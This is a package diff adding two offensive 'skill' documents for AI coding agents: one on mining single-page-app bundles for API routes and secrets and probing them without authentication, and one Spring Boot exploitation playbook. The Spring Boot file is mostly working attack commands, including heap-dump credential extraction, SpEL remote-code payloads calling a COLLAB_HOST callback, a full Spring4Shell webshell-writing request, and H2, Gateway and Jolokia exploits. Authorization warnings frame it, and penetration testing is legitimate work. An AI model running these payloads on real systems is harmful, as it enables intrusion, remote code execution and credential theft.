opencode-skills-collection 4.0.68 → 4.0.69

package/bundled-skills/hunt-spa-api/SKILL.md

@@ -0,0 +1,163 @@
+---
+name: hunt-spa-api
+description: Discover a single-page-app's hidden backend API from its public JS bundle,
+  then test that API for broken access control / missing authentication.
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: authorized-engagement
+report_count: 1
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## When to use this skill
+
+Trigger when:
+- A target host returns a tiny HTML shell + big `/static/js/*.js` or `/_next/static/*` bundles (React/Vue/Angular/Next/Svelte SPA)
+- You see a subdomain named `console`, `app`, `dashboard`, `portal`, `admin`, `panel`, `manage`, `internal`
+- Recon surfaces any `*api*`, `*-api*`, `api.*` host
+- A login page is OAuth/SSO-gated (the *frontend* auth tells you nothing about whether the *API* enforces auth)
+
+The core insight: **a SPA is a client to a backend API, and it ships the full map of that API — hosts, routes, sometimes keys — to anyone who views source.** The login page being protected says nothing about whether the API behind it checks tokens. Auth is frequently enforced on the *gateway/login* and missing on a *route group* of the API.
+
+DO NOT skip this because "the app needs login" — that's exactly when this pays off.
+
+---
+
+## The play (5 steps)
+
+### 1. Pull the shell + enumerate the bundles
+```bash
+curl -s https://console.target.com/ -o index.html
+# React/CRA:
+grep -oE '/static/js/[^"]+\.js' index.html
+# Next.js:
+grep -oE '/_next/static/[^"]+\.js' index.html
+# generic:
+grep -oiE 'src="[^"]+\.js[^"]*"' index.html
+```
+Download every bundle (they can be multi-MB — that's fine, it's all route data):
+```bash
+mkdir bundles
+for j in $(grep -oE '/static/js/[^"]+\.js' index.html | sort -u); do
+  curl -s "https://console.target.com$j" -o "bundles/$(echo "$j"|tr '/' '_')"
+done
+```
+
+### 2. Harvest API hosts, routes, and secrets from the bundles
+```bash
+B=bundles/*.js
+# Backend API hosts (incl. dev/beta/staging variants — often weaker auth)
+grep -ohiE 'https://[a-z0-9.-]*(api|console|backend|service)[a-z0-9.-]*\.target\.com[a-z0-9/_-]*' $B | sort -u
+# Versioned API base paths
+grep -ohiE '/api/v[0-9]+/?' $B | sort -u
+# Route literals — minified bundles store routes as STRING segments, not full URLs.
+# Grep for quoted "resource/action" strings:
+grep -ohiE '"[a-z0-9_-]+/[a-z0-9_/-]+"' $B | tr -d '"' \
+  | grep -iE '(login|user|account|order|billing|invoice|payment|deal|report|token|otp|password|reset|admin|profile|auth|upload|export|role|permission|dashboard|wallet|finance|sales)' | sort -u
+# Secrets (validate before trusting — most AIza keys are Maps/analytics, not Auth)
+grep -ohiE '(AIza[0-9A-Za-z_-]{35}|AKIA[0-9A-Z]{16}|sk_live_[0-9A-Za-z]+|eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}|apiKey["'"'"']?\s*[:=]\s*["'"'"'][^"'"'"']+)' $B | sort -u
+```
+**Note:** minifiers store routes as concatenated string segments (e.g. `"account/payment/list"`), NOT full `/api/v2/...` URLs — so a naive `/api/v*` grep returns nothing. Grep for the **resource-word route strings** and prepend the base yourself.
+
+**Lazy-loaded (async) chunks — don't stop at HTML-referenced bundles.** CRA/webpack SPAs reference only runtime+main+vendor in index.html; numbered async route chunks are named inside main.js's chunk map and loaded at runtime, so grepping only `/static/js/*.js` from the shell truncates route coverage to eager chunks.
+```bash
+grep -oE '[0-9]+:"[a-f0-9]+"' bundles/*main*.js        # {chunkId:"hash"} pairs
+# reconstruct /static/js/<id>.<hash>.chunk.js, download each, re-run route/host/secret harvest
+# asset-manifest.json (if present) lists them all -> hunt-source-leak
+```
+
+### 3. Establish a CONTROL — find an endpoint that IS gated
+Before declaring anything vulnerable, send an unauthenticated request to an endpoint you expect to be protected, and capture what *correct* rejection looks like:
+```bash
+curl -s -X POST https://api.target.com/api/users -H 'Content-Type: application/json' -d '{}'
+# secure → {"error":"Missing or invalid authorization header"} or HTTP 401
+```
+This is your differential. A sibling API (e.g. a second API host, or a different route group on the same host) is the ideal control — same stack, so a different response = real authz gap, not a quirk.
+
+### 4. Test each route family UNAUTHENTICATED, both methods
+For every discovered route, send it with **no `Authorization` header** and compare to the control:
+```bash
+for r in <routes>; do
+  curl -s -o /tmp/r -w "[%{http_code}] $r\n" -X POST -H 'Content-Type: application/json' -d '{}' "https://api.target.com/api/v2/$r"
+done
+```
+Interpret:
+- **`401`/`"Missing authorization"`** → gated (correct). Move on.
+- **`200` with data** → unauthenticated data exposure. **Finding.**
+- **`400 "field X is mandatory"`** → the route processed your request and reached *business-logic validation* without an auth check → **auth bypass; supply the field minimally to confirm.**
+- **`200` + verbose DB/stack error** (e.g. `PROCEDURE db_x.sp_y does not exist`) → reached the data layer unauthenticated; also a SQLi-surface signal.
+- **Mandatory fields named like `is_admin` / `is_internal` / `requested_by` / `role_id` / `account_type`** → **authorization derived from client-supplied parameters** — set the privilege flag and you self-elevate. Critical-class.
+
+### 5. Pivot & prove (minimally)
+- IDs returned by one endpoint (`account_id`, `order_id`, `deal_id`) are the keys the *other* endpoints consume — they prove the whole router is reachable, not just one route.
+- Test `dev-`/`beta-`/`staging-` API variants — they frequently have weaker/disabled auth.
+- Check the response headers: `Access-Control-Allow-Origin: *` compounds the issue (any web origin reads it from a victim's browser).
+- **STOP at minimum-necessary proof.** A handful of records (or a `totalCount`) confirms the missing check. Do NOT enumerate the table — see `redteam-mindset` data-minimization boundary. The finding is the absent auth, not the data volume.
+
+---
+
+## What "the API behind the SSO login" really means
+
+A common, dangerous architecture:
+- `console.target.com` (the SPA) → login is **Entra/Okta/Google OAuth** (looks airtight).
+- `api.target.com` (the backend) → some route groups enforce the bearer token, **some route groups forgot the middleware.**
+
+The frontend login is theatre if the API doesn't independently validate the token on every route. Always test the API directly, bare, regardless of how locked-down the login UI is.
+
+---
+
+## Anti-patterns
+
+- **"The app requires login, so the API must be protected."** No — test the API directly, unauthenticated. The whole point.
+- **"Minified bundle, can't read it."** You don't need to read it — grep it for hosts/routes/secrets. 5 minutes.
+- **"`/api/v1/foo` returned 404, so no API here."** Wrong base or wrong method. Try `/api/`, `/api/v2/`, POST not GET, and the exact route strings from the bundle (Express's 404 echoes the path — use it to calibrate).
+- **"AIza key found → critical secret."** Validate first — most are Maps/analytics keys (`CONFIGURATION_NOT_FOUND` on identitytoolkit = not Auth-enabled). Don't over-claim.
+- **Dumping the whole dataset once you get a 200.** Stop at PoC. (`redteam-mindset`.)
+- **Account-creation / write endpoints as "proof".** Read endpoints prove the auth gap without creating state. Never POST a `create`/`signup`/`upload` to "demonstrate" — that's a destructive write needing explicit per-action authorization.
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-api-misconfig`** — once the API is mapped, run the broader misconfig matrix (method tampering, mass assignment, JWT alg confusion) per route.
+- **`hunt-idor`** — the `account_id`/`order_id` pivots feed straight into IDOR testing across discovered routes.
+- **`hunt-source-leak`** — sourcemaps (`*.js.map`) reconstruct original source for deeper route/secret extraction; same harvesting muscle.
+- **`hunt-nextjs`** — for Next.js targets, layer the middleware-bypass (`x-middleware-subrequest`) and `/_next/data` route tests on top of this.
+- **`redteam-mindset`** — the data-minimization boundary governs step 5: prove the missing check, don't exfiltrate the table.
+- **`recon-scope-triage`** — verify the API host actually belongs to the target before testing (don't pop a same-named third party's API).
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-springboot/SKILL.md

@@ -0,0 +1,285 @@
+---
+name: hunt-springboot
+description: Hunt Spring Boot specific vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, cve_database, spring_security_advisories
+report_count: 16
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
+
+## Crown Jewel Targets
+
+Spring Boot Actuator `/actuator/heapdump` exposed = heap dump with all secrets in memory.
+
+**Highest-value findings:**
+- **`/actuator/heapdump`** — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
+- **`/actuator/env`** — lists all environment variables and Spring properties including secrets
+- **`/actuator/shutdown`** — POST → shuts down the application (Critical availability impact)
+- **H2 Console (`/h2-console`)** — in-memory DB admin UI → SQL query execution → potential RCE via `CREATE ALIAS` trick
+- **SpEL injection** — Spring Expression Language in template fields, `@Value` annotations, SpEL-processed request params → RCE
+- **Spring4Shell CVE-2022-22965** — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
+
+---
+
+## Phase 1 — Fingerprint Spring Boot
+
+```bash
+# Spring Boot indicators
+curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
+curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
+
+# Actuator root (may list available endpoints)
+curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
+curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
+
+# Try common base paths
+for base in "" "/manage" "/management" "/app"; do
+  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
+  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
+done
+```
+
+---
+
+## Phase 2 — Actuator Endpoint Enumeration
+
+```bash
+BASE="https://$TARGET/actuator"
+
+# High-impact endpoints
+ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
+           "loggers" "info" "health" "configprops" "shutdown" "trace"
+           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
+           "flyway" "liquibase" "refresh" "restart")
+
+for EP in "${ENDPOINTS[@]}"; do
+  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
+  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
+  # before calling it EXPOSED.
+  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
+  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
+  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
+    echo "[+] EXPOSED: $BASE/$EP"
+  fi
+done
+
+# Get environment variables (passwords, API keys)
+curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
+
+# Get all endpoint mappings (full API surface)
+curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
+
+# Get Spring beans (lists all registered beans, reveals internal architecture)
+curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
+```
+
+---
+
+## Phase 3 — Heap Dump Analysis
+
+```bash
+# Download heap dump (can be large — 100MB+)
+curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
+ls -lh /tmp/heapdump.hprof
+
+# Quick grep for secrets in heap dump (binary file — use strings)
+strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
+  grep -v "^[a-z_]" | sort -u | head -50
+
+# More targeted extraction
+strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
+strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
+strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
+strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens
+
+# Use Eclipse Memory Analyzer (MAT) for deep analysis
+# https://www.eclipse.org/mat/
+```
+
+---
+
+## Phase 4 — H2 Console RCE
+
+```bash
+# H2 console detection
+curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
+curl -s "https://$TARGET/h2" | grep -i "H2 Console"
+curl -s "https://$TARGET/console" | grep -i "H2"
+
+# Default credentials: sa / (empty password)
+# JDBC URL: jdbc:h2:mem:testdb
+
+# If accessible, RCE via CREATE ALIAS:
+# SQL to execute:
+# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
+#   Runtime rt = Runtime.getRuntime();
+#   String[] commands = {"sh","-c",cmd};
+#   Process proc = rt.exec(commands);
+#   return new String(proc.getInputStream().readAllBytes());
+# } $$;
+# CALL EXEC('id');
+```
+
+---
+
+## Phase 5 — SpEL Injection
+
+```bash
+# Spring Expression Language injection in user-controlled fields
+# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
+
+# Common injection points:
+# - Email template fields: "Hello ${name}"
+# - Custom annotation @Value("${user.input}")
+# - Spring Security expressions
+# - Spring WebFlow
+
+# Basic SpEL test
+curl -s -X POST "https://$TARGET/api/user/name" \
+  -H "Content-Type: application/json" \
+  -d '{"name": "#{7*7}"}'
+# If returns 49 → SpEL injection confirmed
+
+# RCE payload — note: exec() returns a Process, not a String, so a bare
+# exec("id") produces NO visible output. Confirm via an OOB curl callback
+# (the spawned curl makes the network request even though nothing is reflected):
+curl -s -X POST "https://$TARGET/api/user/name" \
+  -H "Content-Type: application/json" \
+  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
+
+# CVE-2022-22963 — Spring Cloud Function SpEL
+curl -s -X POST "https://$TARGET/functionRouter" \
+  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
+  -d "test"
+```
+
+---
+
+## Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
+If the `gateway` actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
+```bash
+curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
+ -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
+curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
+```
+
+## Phase 5c — Writable `/env` -> `/refresh` gadget RCE
+When `/actuator/env` accepts POST and `/actuator/refresh` exists, poison a property then reload:
+```bash
+# logback JNDI:
+curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
+# Eureka XStream deserialization:
+curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
+curl -s -X POST "$BASE/actuator/refresh"
+```
+(Veracode: Exploiting Spring Boot Actuators.)
+
+## Phase 6 — Spring4Shell (CVE-2022-22965)
+
+```bash
+# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
+# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
+# Requires: Java 9+, Tomcat as WAR deployment
+
+# Detection: does the app accept class.* parameters?
+curl -s "https://$TARGET/api/user" \
+  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
+# Check COLLAB for HTTP callback
+
+# Exploitation: write webshell via class loader
+curl -s "https://$TARGET/login" \
+  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
+```
+
+---
+
+## Phase 7 — Jolokia JMX Exposure
+
+```bash
+# Jolokia provides HTTP access to JMX MBeans
+curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
+curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
+
+# List all MBeans
+curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
+
+# Read system properties via Jolokia (may expose credentials)
+curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
+  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
+
+# Exec MBean operations (potential RCE via MLet)
+curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
+```
+
+---
+
+## Chain Table
+
+| Spring Boot finding | Chain to | Impact |
+|--------------------|----------|--------|
+| `/actuator/heapdump` | Extract DB passwords, API keys from memory | Critical credential exfil |
+| `/actuator/env` | Read all env vars including secrets | High |
+| H2 console accessible | CREATE ALIAS → RCE | Critical |
+| SpEL injection | `T(Runtime).exec()` → OS command | Critical RCE |
+| Spring4Shell | Write webshell → RCE | Critical |
+| Jolokia + MLet | Remote code via MBean | Critical RCE |
+
+---
+
+## Validation
+
+✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
+✅ Actuator/env: secrets visible in JSON response
+✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
+✅ H2 console: SQL executed, `id` output returned
+
+**Severity:**
+- Heapdump with credentials: Critical
+- SpEL RCE: Critical
+- H2 console RCE: Critical
+- Actuator env (passwords exposed): High
+- Mappings disclosure only: Low-Medium
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.